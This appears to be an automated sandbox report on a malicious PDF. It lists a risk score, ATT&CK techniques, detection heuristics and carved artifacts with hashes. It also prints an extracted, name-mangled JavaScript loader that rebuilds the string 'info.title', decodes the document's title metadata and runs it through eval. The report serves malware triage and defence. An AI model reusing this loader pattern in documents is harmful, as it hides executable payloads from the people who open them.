MALICIOUS
78
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1204.002 Malicious File
The PDF file contains embedded JavaScript and utilizes ASCIIHexDecode filters, indicating an attempt to obfuscate malicious content. The presence of XFA forms further suggests a complex document structure designed for exploitation. The extracted artifact 'stream_003_off00009a77.bin' is likely the payload or a component thereof. The overall structure points to a delivery mechanism for a secondary exploit or malware.
Machine Learning
- Nyx PDF Classifier malicious score 0.9998
Heuristics 6
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ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEXHex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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XFA form low PDF_XFAPDF uses XML Forms Architecture — can contain script logic
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xdp/ Referenced by PDF JavaScript
- http://www.xfa.org/schema/xci/2.6/Referenced by PDF JavaScript
- http://www.xfa.org/schema/xfa-template/2.6/Referenced by PDF JavaScript
Extracted artifacts 4
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0012_000.js |
pdf-javascript-stream | PDF /JS object 12 at offset 0x9413 | 682 bytes |
SHA-256: 7497a3011a908dabb81bbb628c0e6be469b9e7b9b95320e255f1fbac007660f6 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
8 of 10 identifiers look randomly generated (e.g. 'xqzhimxwohkvcctxqzhimxwohkvccixqzhimxwoh') — consistent with name-mangling obfuscation.
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Preview scriptFirst 1,000 lines of the extracted script
xvtiheqnilpqll = this['xqzhimxwohkvccixqzhimxwohkvccnxqzhimxwohkvccfxqzhimxwohkvccoxqzhimxwohkvcc'.replace(/xqzhimxwohkvcc/g,'')]['xqzhimxwohkvcctxqzhimxwohkvccixqzhimxwohkvcctxqzhimxwohkvcclxqzhimxwohkvccexqzhimxwohkvcc'.replace(/xqzhimxwohkvcc/g,'')];
xxtmikskbfueqb = '';
for (tlrfbqnkdkgrsq = 0; tlrfbqnkdkgrsq < xvtiheqnilpqll.length; tlrfbqnkdkgrsq += 2) {
xxtmikskbfueqb += xvtiheqnilpqll['cxqzhimxwohkvcchxqzhimxwohkvccaxqzhimxwohkvccrxqzhimxwohkvccAxqzhimxwohkvcct'.replace(/xqzhimxwohkvcc/g,'')](tlrfbqnkdkgrsq);
}
this['xqzhimxwohkvccexqzhimxwohkvccvxqzhimxwohkvccaxqzhimxwohkvcclxqzhimxwohkvcc'.replace(/xqzhimxwohkvcc/g,'')](xxtmikskbfueqb);
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stream_002_off00009650.bin |
decompressed-pdf-stream | PDF FlateDecoded stream at offset 0x9650 | 449 bytes |
SHA-256: 070732b3fbbd20295c5b1a911789c30af5b99ce5e14e004bbedc5acf7f113122 |
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stream_003_off00009a77.bin |
decompressed-pdf-stream | PDF FlateDecoded stream at offset 0x9A77 | 14620 bytes |
SHA-256: 3b0ddedfdbef1fe970e2e021fc2051c39baf0edcf60d7c8840caa76ca3541e03 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
450 of 812 identifiers look randomly generated (e.g. 'Y1B2S9Y9C9M9T9B9Z9Z9S9E9L9K9R9N9E9E9P9O9'); 5 string-concatenation chain(s) — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
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font_00_sfnt_off00000349.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x349 | 58553 bytes |
SHA-256: 4e56128afad897c8ba22338709048333a61f0c1c8de4785f90267c2edf4d9a4e |
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